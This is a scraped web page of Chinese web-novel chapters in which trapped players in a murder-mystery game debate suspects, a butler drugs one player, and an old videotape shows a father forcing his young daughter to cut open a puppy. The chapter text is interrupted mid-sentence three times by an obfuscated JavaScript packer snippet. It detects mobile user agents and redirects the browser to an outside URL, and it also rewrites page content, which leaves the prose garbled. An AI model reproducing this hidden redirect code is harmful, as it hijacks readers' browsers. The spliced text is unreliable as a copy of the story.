“二龙戏珠。” “三羊……” 还没羊完,就见姜眠手指缓缓掉了个方向,指尖向下指了指。 李丛:“……” 他总觉得姜眠是故意的,这小子别看他外表单纯无害,实际上心眼儿黑着呢。 今天的流程和之前一样,吃早饭,然后有一小时圆桌讨论时间。 只是相比起昨天,今天的食物份量又减少了点,只有一块面包,一个鸡蛋。 姜眠着重注意了下管家的手。 管家仍旧戴着白手套,似乎从没见他摘下来过,也就无从确认,昨晚伸进他门里、被他狠狠踩过的那只手,到底是不是管家的。 三两口解决完早餐,姜眠百无聊赖地托着腮,一只手无意识地玩着银质餐叉,听他们轮流发言。 首先是一号玩家辛文浩:“昨晚又死人了,说说吧,大家都有什么想法。” 一提到这个,所有人都愁云惨淡,那柄达摩克利斯之剑就悬在每个人头上,不知什么时候会落下来,也不知道会落在谁头上。这种未知的恐惧在不断加深,所带来的结果是每个人活在都惊惶与焦虑之中,一桌人个个眼下乌青皮肤苍白,显而易见的憔悴。 唯有一个特殊的例外,姜眠。 餐叉有弧度,按住一头,另一头就会翘起来。落下的同时,又回馈给手指轻微的震颤感,仿佛连死物的叉子也开始有了心跳。 姜眠玩得不亦乐乎,唇边泛起丝浅淡的笑。 他是不常笑的,或者说他很少有情绪表达,就像一块吸音海绵,那些激烈的情绪,来多少吸多少。 又或者说他是平静的海面,把石子投入大海,无论再用力,最终也了无踪迹。 李丛从姜眠身上移开目光,沉声说:“我们要不要捋一捋他们的死亡原因,然后尽量避开,也好保证……存活率。” 他说的意思大家都懂,盘出死亡原因,尽量避免触发死亡条件,这样一来,说不定紧要关头能保命。 “第一个死的人是被管家杀的,原因是浪费食物。”李丛缓声说道,“第二个死的是于泓,当时我们都怀疑他是凶手,换句话说他嫌疑最大,但是当天他就死了,被画家砍杀的。” “第三个,也就是赵影,对于她的死,其实我有些困惑。”李丛目光扫过焦雨晴和辛文浩,“按我们之前的推理,她其实是嫌疑最小的,也每天都按时吃完了饭,但她却莫名其妙地死了,死之前毫无征兆。” “其他两个人我们的都是亲眼目睹,知道具体死因,但赵影并没有。她的死法和另两人不同,所以我怀疑……”李丛顿了顿,以一种万分沉重的语气说:“这座房子里还有第三个‘鬼’。” 鬼字刚落地,宋佳妮就抱住脑袋,歇斯底里地尖叫起来。 17.无首(17) 宋佳妮的叫声非常刺耳,穿透力极强,耳膜发痒刺痛,有种下一秒就要被刺穿的感觉。 姜眠微微蹙眉,捂住了耳朵。 “柯睿。”焦雨晴长眉微蹙,“安抚一下她。” 柯睿情绪不佳,他已经受够这种担心受怕的日子了,他连自己都顾及不了,哪还有心情安抚一个疯女人,即便这人是他的女友。 他不像刚开始那样抱住宋佳妮温柔安抚,而是不耐烦地吼道:“闭嘴,别叫了!” 这起到了反效果,宋佳妮不仅没闭嘴,叫声愈发尖锐绵长。 “啊啊啊……啊啊……啊!” 尖叫声戛然而止。 管家戴着白手套的手放在宋佳妮头上,轻轻按了按,温和地笑着:“宋小姐的歌喉非常动人,但还是要注意保养。” 歌喉?动人? 好别致的审美。 宋佳妮大睁着眼,眼眶布满红血丝,下眼睑迅速蓄积出一滴晶莹的液体,从她眸中无声滴落,雪白的桌布上洇开一片湿痕。 管家背在身后的那只手变魔术似的,端出一杯水递到宋佳妮面前:“喝点水润润喉吧。” 宋佳妮呆滞地看着那杯水,须臾又缓缓抬起头,表情空白地注视着管家。 管家仍旧优雅地笑着,那身黑色燕尾服使他像一位真正的绅士,温声细语循循善诱:“不想喝吗?” 宋佳妮极缓地眨了下眼睛,被蛊惑般双手接过了那杯水。 “佳妮!” 水肯定有问题,柯睿有点急了,但屁股刚从椅子上起来,就接收到了管家冰冷肃杀的眼神。 柯睿心神一窒,不由自主地坐了回去。 其他人也不敢轻举妄动,只能眼睁睁看宋佳妮仰起头,将水一饮而尽。 “乖孩子。” 管家温柔地摸了摸宋佳妮的头,在她松手的瞬间,稳稳地接住了杯子,轻轻放在她面前的桌子上。 所有人都紧张地望着宋佳妮,餐厅里鸦雀无声。 在沉寂了十几秒后,宋佳妮胸口起伏的幅度越来越大,艰难且急促地呼吸起来。 “嗬……嗤……嗬嗤……” 她脸色迅速变得灰暗,眼睛瞪得很大,像是被人扼住了咽喉般,双手痉挛地抠挖着脖颈,表情痛苦,仿佛下一秒就要断气。 “你给她喝了什么?!”柯睿握紧拳头,双目赤红地瞪着管家。 管家一只手背在身后,双腿前后分立,是个标准的礼仪姿势,闻言笑容不变:“只是让她安静一点。” 柯睿愠怒:“你……” “嗬!” 宋佳妮喉间发出短促的鸣音,随即身体一抽,面朝下软绵绵地倒在了桌子上。 柯睿再也坐不住,起身去查看她情况。 目睹全程的其他人惊魂未定,犹豫着没有上前,但也十分关注宋佳妮的状态。 除了同为卷入者的兔死狐悲,还有重要的一点——如果她是凶手,她死了,游戏说不定就结束了…… 紧张的氛围里,只听一道温和悦耳少年音说:“别担心,她只是晕过去了。” 李丛转向姜眠:“你怎么知道?!” 姜眠指了指耳朵:“我能听到她的呼吸声和心跳声,不过有点微弱,她确实只是晕过去了。” 还有这种技能?! 李丛仿佛发现了新大陆,小碎步搬着椅子凑近他:“真假的?” 姜眠无辜地眨了眨眼。 李丛脑子转得飞快,人说谎的时候呼吸和心跳会变化,那不相当于人形自走测谎仪? 他这是捡了个宝藏队友啊,只要有姜眠,找到凶手还不信手拈来? “眠哥,带我!”他激动地抱住姜眠手臂。 很快李丛的希望就破灭了,姜眠摇了摇手指:“只对濒死的人有用。” 李丛:“啊?” 关于这一点,姜眠也是意外发现的。 有次他走在街上,目睹了一场车祸,被撞的人是位老奶奶,司机驾车逃逸了。 老奶奶一动不动地躺在地上,没人敢去扶,姜眠听到了她微弱的心跳和呼吸,走上前去。 “您还好吗?”他蹲在老奶奶身边问。 这种情况下,妄动伤者可能会造成二次伤害,他就没有动她,只是轻轻握了握她布满皱纹的粗糙的手。 老奶奶听到他声音,睁开那双因苍老而浑浊的眼睛,努力抬起手指,指了指旁边。 姜眠顺着她视线看去,一辆自行车翻倒在地上,车筐里的饭盒被打翻,饭菜洒了一地。 她张了张嘴,但发不出声音,嘴唇艰难地嗫喏着。 姜眠福至心灵:“告诉他,好好吃饭,照顾好身体,对吗?” 老奶奶心脏回光返照般重重跳了好几下,对他缓缓地眨了眨眼,随即安详地闭上了眼睛。 大概半小时后,老奶奶的儿子赶了过来,抱着母亲的尸体哭天抢地。姜眠看了一会儿,知道了老人是为了去给加班的儿子送饭,他把老人最后那句话带给他,就面无表情地离开了。 哭,到底是种什么样的感情?他实在不明白。 回过神来,李丛还抓着他问个不停:“那是不是代表宋佳妮也要死了?” “不一定。”姜眠摇头,“只是濒死,但不一定真的会死。” 李丛:“好吧。”但看他表情,明显还有很多问题,只不过暂时压在心底。 这顿早餐在鸡飞狗跳中结束,众人也没心情盘什么线索动机,心情沉重地离开了餐厅。 柯睿要带宋佳妮回房间休息,暂时不参加搜证,剩下两组则各自行动。 焦雨晴来到二楼,赵影的房间。 那副不详的画仍旧立在屋子中央,黑裙女人透过白色头纱,静静地注视着他们。 不知是不是心理作用,她觉得那女人的眼神一定搀满了怨毒,想要疯狂地报复所有人。 这让她感到不适,总有种被盯上的感觉,或许下一个死去的人,就是她自己。 门锁“咔哒”一声,被人反锁了,她几乎是条件反射地一惊,警惕地回过身去。 来人是辛文浩。 “什么意思?”焦雨晴面无表情地问,同时绷紧身体,使自己能够在短时间做出反应。 无缘无故锁门,姓辛的在打什么主意? “别紧张。”辛文浩两只手向下压了压,示意她稍安勿躁,“我只是有些话想和你说。” “你说。”焦雨晴扬了扬尖下巴,才这么两天,她就已经消瘦了不少。 “你知道赵影是怎么回事,对吗?”辛文浩直直地看进她眼中,像是想通过她眼神判断正误。 他这么有备而来,显然不是随便能糊弄的,焦雨晴直截了当地承认:“没错。” 辛文浩点了点头。 “早上我跟你说赵影没了的时候,你的表情并不意外,所以我从中推断出你可能知道些隐情。”辛文浩话音微顿,转打友情牌:“作为队友,也算出生入死过,介意跟我分享吗?” 焦雨晴不动声色:“想空手套白狼?” 辛文浩低头笑了笑,眼镜镜片随着他抬头闪过一道光。 “我以为我们是利益共同体。”他唇间含笑,“不过天下确实没有白吃的午餐,我拿一些信息跟你交换。” 话落他伸手进裤兜,摸出了一板白色的药片。 “这是我在你房间床和墙的夹缝里找到的,你藏得很好。”辛文浩赞叹地说,“这个药名字叫‘安睡宝’,说明上写的强力安眠药,我想功能应该跟于泓的‘睡得快’差不多,都是能让我们睡着的药。” 焦雨晴淡淡道:“这只是我用来治疗失眠症的药,并不能说明什么。” “确实。”辛文浩,“那么……这个呢?” 他拿出了一张照片…… 焦雨晴看清照片的瞬间,呼吸微滞。 “你在威胁我?” “不,我没有这个意思。”辛文浩否认,“我想你那里应该也有关于我的不利线索,只是不知什么原因,你还没有说出来。” 焦雨晴沉吟一秒:“不错。” 她微微侧过身,避开辛文浩视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079419|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线,从内衣夹层里拿出一张叠好的信纸。 “你就是‘X’。”焦雨晴笃定道,“你和于泓约好,在齐雪生日这天,将所有人药晕后杀了她,并且制造成是其他人动手的假象。” “至于动机,你吞了齐雪太多钱,都用来挥霍了。齐雪要告你,让你还钱蹲监狱。你还不了钱,更不想蹲监狱身败名裂,所以想干脆除掉她。” “齐雪一死,你作为她的经纪人,能有办法处置她的画作,并且这幅画的价值将会随着作者的死亡而水涨船高,你还能最后大赚一笔。” 焦雨晴一口气说完,目不转睛地盯视着辛文浩,不放过他表情一丝一毫的变化。压力之下,她心脏几乎提到了嗓子眼。 四目相对,辛文浩表情异常镇静,也不知是他多年职场生涯练就的波澜不惊,还是他本就城府极深。 半分钟后,辛文浩又笑了。 “推理得很精彩。”他不紧不慢地说,“但如果你真的认为我是凶手,为什么不早把这线索告诉大家?你有顾虑,不是吗?” 被说中了心思,焦雨晴并不气馁:“彼此彼此。” 其实并不止她这样做,在这里的每个人一定都有所保留,毕竟凶手就在他们之中,没有万全的证据,是不会轻易露出自己底牌的。 两人相视一笑。 辛文浩提议:“这样吧,我们交换证据,各自保管怎么样?” 焦雨晴眉梢一挑:“你想毁尸灭迹?” 辛文浩无奈地举起手:“我用性命担保,我真不是凶手。” “我是和于泓约定,让他把药下进汤里,我们都不会喝汤。按照原本的计划,我会去找齐雪谈判,再伺机行动,但当晚我居然睡着了。”说着他揶揄一笑,“不知道是不是也有人和我们殊途同归,把药下在了其他菜里。” 焦雨晴双手抱臂,半真半假的语调:“如果我说,我没下过药呢?” 辛文浩耸了耸肩:“那只有你自己知道。” 焦雨晴加码:“我用我家人发誓,我不是杀死齐雪的凶手。” 辛文浩绅士地对他伸出手:“那么我们的联盟算是达成了?” 焦雨晴和他握手,一触即分:“合作愉快。” 两人友善地交换了证据,辛文浩用食指推了下滑到鼻梁上的眼镜:“那可以告诉我,赵影身上发生了什么吗?” 焦雨晴深呼吸,压下看到赵影惨状的心悸,轻声道:“她告诉我,半年之前,她帮齐雪找了个肖像模特。” 辛文浩皱眉:“模特?” “嗯。”焦雨晴眸色微凝,“而那个模特,应该就是的男仆妈妈,赵影看到了照片。” 辛文浩眼皮一跳,指着那幅画:“你是说,这不是齐雪的自画像,而是男仆的妈妈?” “嗯。” 辛文浩思绪乱了,这是他之前完全没想到的:“可是……齐雪为什么要画一个男仆的妈妈?” “你别忘了。”焦雨晴提醒他,“男仆在这之前并不是男仆,他是为了找妈妈才来这里。” 辛文浩拔了下额前的发丝,垂眸沉思:“齐雪不可能无缘无故画一个陌生的女人,这里面一定还有其他的秘密。” “这也是我想知道的。”焦雨晴眯起眼睛,“不过我想,比起我们那些微不足道的财务纷争,弑母之仇应该更加紧迫……” 辛文浩:“所以你现在最怀疑男仆?” 焦雨晴:“嗯。” 辛文浩目光微闪:“我们再加码怎么样?” “怎么个加法?” “投凶的时候,统一战线。” 焦雨晴明白了他的意思,既然两人都发毒誓自己不是凶手,假设他们都没说谎,凶手就另有其人。那么等到投凶时,约定好不互相伤害,并且统一目标,这是目前对两人来说都有利的举措。 焦雨晴:“好。” 辛文浩真心实意地笑起来:“那么现在该去找证据来证明我们的推论了。” 话落他转身朝房门走去。 焦雨晴垂下眸子,掩住眼底的暗色:“好。” 18.无首(18) 二楼,柯睿房间。 姜眠弯下腰,好奇地端详着那台老式胶片放映机模型。 李丛走了过来,见他看得目不转睛,笑道:“这是胶片放映机,上个世纪用来放电影的,现在很难见到了,你知道它的工作原理是什么吗?” 姜眠摇头,做出一副乖巧听课的模样。 李丛其实也不太懂,只是恰巧了解点皮毛,但这并不妨碍他在一无所知的少年面前装逼。 “其实就是一些光学方面的知识,投影、放大等等,你看这里……”他指了指机身上的大轮盘,“这是用来放胶卷的地方,以前拍电影都是用的胶卷,把画面一帧一帧地存下来,然后通过这个手摇杆来切换帧,连起来就是动态的电影了。”说着李丛示范性地摇了摇手摇杆。 “那时候技术落后,还会因为机器过热而着火呢,有部电影叫《天堂电影院》,讲的就是这个。” 姜眠崇拜地望着他:“你怎么什么都知道?好厉害!” 说话间眼睛盯住摇杆,一脸好奇宝宝的迫不及待。 李丛被他夸得嘴角止不住上扬,姜眠其他的不说,情绪价值管够。 “你也想试试?” 姜眠:“嗯嗯。” 李丛给他让开位置,姜眠上前握住摇杆,学着李丛的样子,先匀速地摇了摇,又加快速度。 放映机发出轻微的“咔哒咔哒”声,可惜屋子里没有电影胶片给他试用,只能遗憾地过个干瘾。 李丛看得好笑,觉得这小子真挺可爱的。 “这屋子里好玩的多着呢!”他哄小孩似的说。 姜眠进门时就注意到了,或许是为了匹配柯睿三流导演的身份,这屋里有许多与电影相关的东西。墙上贴着那个年代大热港片的海报,一台臃肿的大背包彩色电视,附带一台老式录像带放映机,墙边柜子里装满了各色各样的电影录像带。 之前没仔细看都有哪些片子,但说不定里面会有重要信息,于是两人凑在一起挨个查看。 李丛边翻边感叹:“都是些不错的老片子,口味还可以啊,怎么拍的都是烂片?” 姜眠找下面那层,随手抽了盒录像带出来,封面是两位衣着清凉的性感女郎,双眼迷离搔首弄姿。 “这是什么?”他好奇地问。 “我看看。”李丛扭头看了一眼,一见那封面,就知道是什么了不得的东西。 “性感美妇火辣辣。”姜眠一本正经地念出上面的字,“纯真少女的初……唔!” “咳……”李丛羞耻地捂住了他的嘴,“别念了,祖宗!” 接着他把毒害纯真少年的录像带抢过去,又翻了翻下面的柜子,全是一水儿少儿不宜的三级片。 李丛啧啧几声:“我收回刚才的话,一天天的脑子里净是黄色染料,怪不得他拍的全烂片!” 姜眠凑过去,又被他捂住眼睛:“都说别看,会长针眼!” “不是。”姜眠推开他的手,从柜子角落里,抽出了一张风格迥异的录像带。 他看着手里的录像带,盒身全黑,只在盒脊上有一个红色的数字“0”标识,混在成百上千花花绿绿的片子里,十分不起眼。 李丛“嘶”了声,拿着录像带翻来覆去地看:“这是什么片子?” “不知道。”姜眠摇头,“要看看吗?” “好啊。”李丛正有此意,看了才知道是什么,“等我研究下这个放映机,我小时候家里都用DVD的,还没用过这么过时的老古董。” 他捣鼓了半天,总算成功地让机器运转了起来,沙沙的声音过后,电视机里开始出现画面。 镜头很摇晃,似乎是有人用手持录像设备在拍摄,画面也因为经年日久而不太清晰,只朦胧看到像素中心有个矮小的影子。 两个人并肩坐在地上,呼吸声放轻,耐心地继续往下看。 画面逐渐清晰,果然是个身着连衣裙的小女孩儿,大概七八岁的样子,头上带着可爱的发箍,怀里抱着只小狗。 看到来人时,她表情变得有些紧张。 “爸爸。” 她对着镜头喊,目光偏移,似乎想极力避开对准她的镜头,但又不敢做的太明显。 “嗯。”出现了一道男人的声音,听起来很沉。 “妈妈要什么时候回来?”小女孩小心翼翼地问。 “妈妈不会回来了。”男人冷酷无情地说,“她抛下了我们,她不要你了!现在只有我和你相依为命。” 小女孩眼睛迅速泛红,泪珠涌出眼眶,小声地抽泣起来。 “说了多少次,不准哭!”男人严厉地呵斥道,“我齐盛没有这么懦弱的女儿!” 看到这里,姜眠和李丛对视了眼,拍摄录像的男人是齐盛,那么画面中的小女孩是……齐雪! 幼年齐雪被吓得一抖,赶紧抹干净眼泪,对着镜头讨好地笑了一笑。 可是她只是个小孩,还不能很好地控制情绪,故而这个笑容非常难看,连带着她原本可爱的面容都僵硬扭曲起来。 男人似乎终于满意了,声音温和了些:“怎么还抱着那条狗?” “可是……”小女孩低头看怀里的小狗,它才两个月大,生得胖乎乎的,四条爪子轻轻蹬动,睡梦中嘤嘤叫唤着。 犹豫片刻,女孩还是鼓起勇气,仰起脸对着镜头说:“它还很小……” “我之前怎么教你的?”男人又变得冷硬,“当年大师达芬奇为了了解人体结构,亲自去解剖尸体,这才只是一条狗。” “你不解剖它,怎么知道它身体是什么结构?又怎么还能画好画?” 话音落下,男人将一把锋利的手术刀扔到女孩脚下,不耐烦地催促:“快点,别让我动手。” 女孩惊恐地缩了缩肩膀,话音里满是哭腔:“爸爸……” “嗯?” 接下来的画面实在难以描述,小女孩在男人的诱导逼迫下,哭着用刀剖开了小狗……她手上满是鲜血,眼神却越来越麻木,宛如一具被操纵的提线木偶。 而画面外的男人则欣慰地鼓励着她:“乖孩子,你一定会是位出色的画家。” 录像结束,屏幕黑了下去。 房间里异常安静,过了好一会儿,才听见李丛恍惚地“草”了一声。 “逼自己女儿虐杀小动物,还录下来,这还是人吗?!”他愤怒地指责,“这种人就该进橘子,死得早反而便宜他了!” 姜眠抿紧嘴唇:“所以齐雪才会生病。” “对。”李丛表示同意,“在这种环境下,要我早疯了!” 姜眠盘腿坐着,转身朝向他:“你小时候认识齐雪吗?” 李丛回忆道:“很小的时候不认识,也没有交集,后面长大些,才见过几次面。” “但每次都是由她父亲带着的,在外人看来,她父亲对她非常宠爱,几乎有求必应,还为她找了许多绘画方面的老师,可以说是精心培养。”说着他崩溃地挠了挠头,“但谁知道,那狗逼私底下就是个变态!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097739|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜眠若有所思,喃喃道:“所以……眼睛看到的,不一定是真实的。” 他手撑着地板站起身来,继续找线索。 除了这些,柯睿房里还有两部电影剧本,一些电影拍摄相关的书籍,一个导演专用扩音喇叭——姜眠好奇地拿起来研究,打开开关后,喇叭发出道刺耳的尖啸,他猝不及防仰头往后避了避,一只手揉了揉被震麻的耳朵。 李丛见状,笑着拿过喇叭:“这是扩音喇叭,我教你怎么用。” 说着他嘴巴对着喇叭收音端:“喂喂。” 李丛的声音并不大,但通过这小小的喇叭后被放大了无数倍,传出房间回荡在走廊上。 旁边还有一台老式手提收音机,姜眠发现收音机里有磁带,就按下了播放键,先是一段非常恢弘的交响乐,他认真听着,谁知曲风突变,接着传来道搞笑男音—— “嗯mua——” 嗯? 姜眠快速地眨眨眼。 “嘻唰唰嘻唰唰嘻唰唰ohoh……” “嘻唰唰嘻唰唰嘻唰唰ohoh……” …… 好吵的歌,姜眠皱眉,迅速按下停止。 李丛也听到了声音,惊奇道:“居然有这首歌。” 姜眠随口“嗯”了声。 “你小时候没听过吗?”李丛望着他不以为然的表情,“这首歌当年可是很火的,满大街都是,尤其是过年的时候,喜庆么。” 姜眠不再纠结歌的问题,把柯睿的床垫掀了起来,在底下发现了一本装订起来的剧本。剧本封面上写着《不回家的女人》——光看名字,像是部烂俗肥皂剧。 前几页写了剧情简介,是部凤凰男设计杀妻的犯罪悬疑片。 其中有些细节和本案很像,比如妻子都是搞艺术的,老丈人是企业家,而且丈夫出轨了。 妻子向无能的丈夫提出离婚,并要求他净身出户。丈夫苦苦挽回,在妻子生日那天低声下气地求和,但仍旧遭到拒绝,于是一气之下失手杀死了她。 为了掩盖罪证,他将妻子分尸抛弃,还营造出妻子与人私奔的假象迷惑众人,但法网恢恢,他最后还是受到了应有的惩罚。 李丛眉头紧锁:“难道柯睿是看了剧本之后,模仿作案?” 当晚他恰巧没有喝加了料的汤,等所有人睡着后去齐雪房间,求和失败怒而杀人? 本来想分尸,但担心动静太大惊扰其他人,所以半途放弃? 不是有那句话吗?当受害者是女性时,it''s always husband. 姜眠不置可否:“或许吧。” 这个房间暂时找不到其他线索了,两人一起出了门。 路过宋佳妮房间时,门没关严,能看到宋佳妮表情呆滞地躺在床上,而柯睿坐在床边,两手撑着头,格外焦虑疲倦。 忙碌了一大早上,姜眠又饿又困,想睡觉了。 这个想法刚出现,他就眼前一黑,“咚”一声,干脆利落地倒在了地上。 李丛正和姜眠说着话,当着他面突然扑街,是个人都会吓一跳。 他赶紧蹲下身,伸手在姜眠鼻下一探,有气儿。 姜眠的呼吸变得平稳又均匀,显然是睡着了,李丛咂舌,这就是传说中的可可爱爱没有脑袋吗? 心大没烦恼,睡眠质量好。 人就直挺挺地躺在走廊中间,怪碍事的,李丛两手抄着姜眠腋窝将搬他到旁边,免得待会儿哪个不长眼地出门踩到他。 19.无首(19) 午饭的时候,宋佳妮在柯睿的搀扶下来到了餐厅,她皮肤呈现着一种不太正常的青灰,眼神呆滞,整个人如行尸走肉,安静地坐在位置上。 姜眠睡了一觉,稍微精神了些,干完饭后认真地听其他人发言。 这一轮是李丛第一个发言。 “我在柯睿房间里,发现了一卷奇怪的录像带。”他看着柯睿,“你知道里面是什么内容吗?” 柯睿不明所以地皱眉:“什么样的录像带?” 李丛提示他:“黑色的,就放在你柜子的角落里。” 柯睿回忆了会儿,恍然道:“我想起来了,那卷录像带是我无意中在杂物间发现的,不过当时我在忙,就随手放到了一边,后面就把这事给忘了。” “杂物间?”李丛挑眉,“在哪里?” 柯睿指了指姜眠:“就是他住的那个房间,以前是用来放杂物的,但我和齐雪分居后就搬出去了,一年多没回来过,里面的东西也不知道挪到哪里去了。” “所以录像带里面有什么?” 李丛撇了下嘴角:“齐爹是个变态.” 他大致描述了下录像带所记录的那段影像,同时观察着众人的表情,除了面目呆滞的宋佳妮和水豚般情绪稳定的姜眠外,其他人都露出了嫌恶的表情,尤其是焦雨晴…… “这也能解释为什么齐雪会得精神病了。”辛文浩沉声道,“不过这个线索具体是要指向什么?” “我记得柯睿说过,他在婚姻里遭受到了齐雪的暴力。”李丛说,“我觉得他大概率没说谎,齐雪在那种恶劣的环境下长大,耳濡目染,难免会受到影响。她应该是把在父亲那里经历的暴力和控制欲,复制到了自己的丈夫身上,导致他们的婚姻生活很不和谐。” “至于柯睿……”李丛意味深长,把矛头转向他:“软饭硬吃不成,到头来还竹篮打水一场空,很容易会起杀心吧?” 柯睿脸色一变,语气咄咄逼人:“你的意思是我杀了她?” “怀疑而已。”李丛并不受他影响,把在他房间找到的剧本推到桌子上:“这是在你床垫底下发现的,讲的是凤凰男杀妻,我觉得跟你和齐雪情况挺像的,不排除模仿作案可能。” 焦雨晴和辛文浩传看完剧本,两人暗里对了个眼神,焦雨晴微不可察地点了点头。 “虽然没有直接的证据证明你杀了齐雪,但你的证据链算是我们几人里最完整的。”焦雨晴条理清晰地分析,“首先是你们结婚的契机,根据现有线索,是你主动接近追求齐雪的,想利用她的名气和经济能力为你的电影事业和奢侈生活托底。” “但婚后你发现事情并没有你想的那么简单,你没法掌控齐雪,这让你出离愤怒,作为报复,你出轨了。” “齐雪发现你出轨,要求你净身出户,这相当于狠狠打了你的脸。你不甘愿又心存嫉恨,于是你效仿电影情节,杀了她……” 焦雨晴一口气说完,面无表情地注视着柯睿。 接连被怀疑,柯睿反而冷静了些,正如他们没有直接证据证明他杀了人,他也没证据证明自己没杀。 他干脆摆烂:“那行啊,你们就投我呗。” 李丛还不知道要怎么投票,尝试着在心里说:投票。 【叮——】 所有人脑子里同时响起这个声音,接着是关于投票的规则介绍。 【计时未结束,玩家是否确认进入投票环节?请选是或否】 【游戏采用多数决模式,若多数玩家选择是,将开启公投环节。否,则搜证推理环节继续】 【若进入公投环节,获得票数最多玩家则判定为本轮凶手,当场处决】 当场处决?! 众人一惊,就连口口声声让别人投他的柯睿都变了脸色。 【请玩家们于三秒后进行选择,是,或否】 【3,2……】 “否!” 众人异口同声,姜眠慢半拍没反应过来。 【未进入公投环节,请玩家们继续努力!】 “怕了?”柯睿讽刺一笑,“不是要投我吗?” 他说完之后,宋佳妮毫无征兆地笑了起来,但她只是咧着嘴,肩膀抖动无声地笑着,怪异极了。 餐厅里气氛逐渐紧张,众人心思各异,静默无声里,姜眠开口打破了沉寂。 “我有几个问题想问柯先生。” 姜眠很少说话,大多时候只是在一旁静静地看,若不是他那独特得让人忍不住想多看两眼的长相,总会让人忽视掉他的存在。 于是他一开口,大家就都看向了他。 柯睿扬了扬下颌,眉眼间满是不耐烦,意思是有话快说有屁快放。 姜眠不紧不慢:“第一个问题,你当天晚上有去过齐雪的房间吗?” 少年的表情非常认真专注,那双古井无波的眸子仿佛有种抚慰人心的魔力,柯睿平静了些,沉默许久后,答:“……去过。” 其他人脸色微变,柯睿立刻补充:“但是在宴会之前,那时候齐雪还没死,不然她也不可能出现在宴会上!” “你是因为什么去的呢?”姜眠又问。 “为了离婚协议,之前都是通过律师传话,她一直不肯露面。好不容易有机会接近她,我想再跟她好好谈谈。”柯睿撇了撇嘴,“结果也跟你们猜的一样,她拒绝了。” 姜眠点了点头:“那你见到她时,她是什么样的?” 柯睿皱了皱眉,回忆道:“她没让我进房间,只隔着门缝和我说话。她当时穿了条白色的睡裙,就是……”他顿了顿,“无头尸身上那件。” “哦,她还戴了宴会上那顶黑色的纱帽,可能是在化妆吧。” 他有女朋友,对女生的一些习惯也算了解。通常情况下,如果需要出门或出席重要宴会,她们大多会精心打扮。比如他女朋友宋佳妮,就总会尝试各种不同的妆容,然后顶着各种半成品问他怎么样,好不好看。 姜眠记忆里,齐雪出场时确实戴了式样复古的黑色纱帽。网格黑纱遮住了她上半张脸,红唇如火,搭配她黑色的鱼尾晚礼服,优雅动人。 不过她出场没多久,就以身体抱恙为由回房间了。 而且在他当男仆的这一个月里,被要求不能上三楼,齐雪也从不下楼,饭菜都是由管家去送,所以他在此之前是没有见过雇主齐雪的。 齐雪,很神秘。 他下了定论。 这里面一定有什么原因…… 是她精神问题严重,为了不被外人发现、从而影响自己的声誉而深居简出?还是有其他不可告人的秘密? “最后一个问题。”姜眠脸上依旧情绪不显,“当天晚上,您喝汤了吗?” “喝了。”柯睿斜睨着他,“怎么?” 姜眠摇了摇头,“感谢您的配合。”然后他就不再说话了。 李丛一脸懵:“没了?” 不是在盘柯睿是不是凶手吗?就这么几个问题能问出什么来? 姜眠:“嗯。” “所以他是凶手吗?”李丛又问。 随即就见姜眠用那种疑惑的表情看着他,像在说都这么明显了你怎么还不明白? 其他人显然也没想明白,但这时候管家说时间到了,让他们离开。 姜眠走在前面,李丛想了想,还是跟上去,压低声音问:“你觉得柯睿是凶手吗?” “不是他。” “为什么?” 姜眠:“他说他喝汤了,于泓的药下在了汤里,他也应该睡着了才对。” “就凭这个就判断他不是凶手?!”李丛几乎想尖叫,“你太天真了,万一他说谎呢?” “可是我们没有证据证明他说了谎,不是吗?”姜眠反问他。 李丛被问得哑口无言,确实没法证明柯睿证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116143|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 词的真实性。 其实不止柯睿,在场所有人都一样,大家都可能是凶手,毕竟就现在来看,每个人或多或少都有杀机。但在于泓下药的前提下,没喝汤清醒状态下的人才有机会去实施杀人计划,但问题是除了于泓,还有谁清醒呢? 于泓说过,他出房间不久后就被打晕了,这恰恰证明一定有人是清醒着的,但当时谁也不会关注别人有没有喝那一口汤。 李丛琢磨了一会儿:“那你说他不是凶手,论据又是什么?” 姜眠很认真地说:“直觉。” 李丛:“……” 姜眠无视了李丛一眼难尽的表情,径直往楼上走去。 其实刚才他问柯睿的那几个问题,并不是随便问的。 第一个问题,柯睿有没有去过齐雪房间——凶手要杀掉齐雪,无论用什么方式,首先都要先进入那间卧室。而且凶手用了那么残忍的方式,以现场血迹来看,凶手身上不可能滴血不沾。但他们目前还没有发现血衣,至于脚印和手印……当初大家乱七八糟的,根本没注意保护现场,痕迹都被破坏掉了…… 至于后面的问题,如果柯睿没有说谎,他在宴会前去见了齐雪,齐雪还给他开了门——虽然没让他进门。在他们谈话完后,柯睿离开,再是宴会开始,齐雪出场又提前离场…… 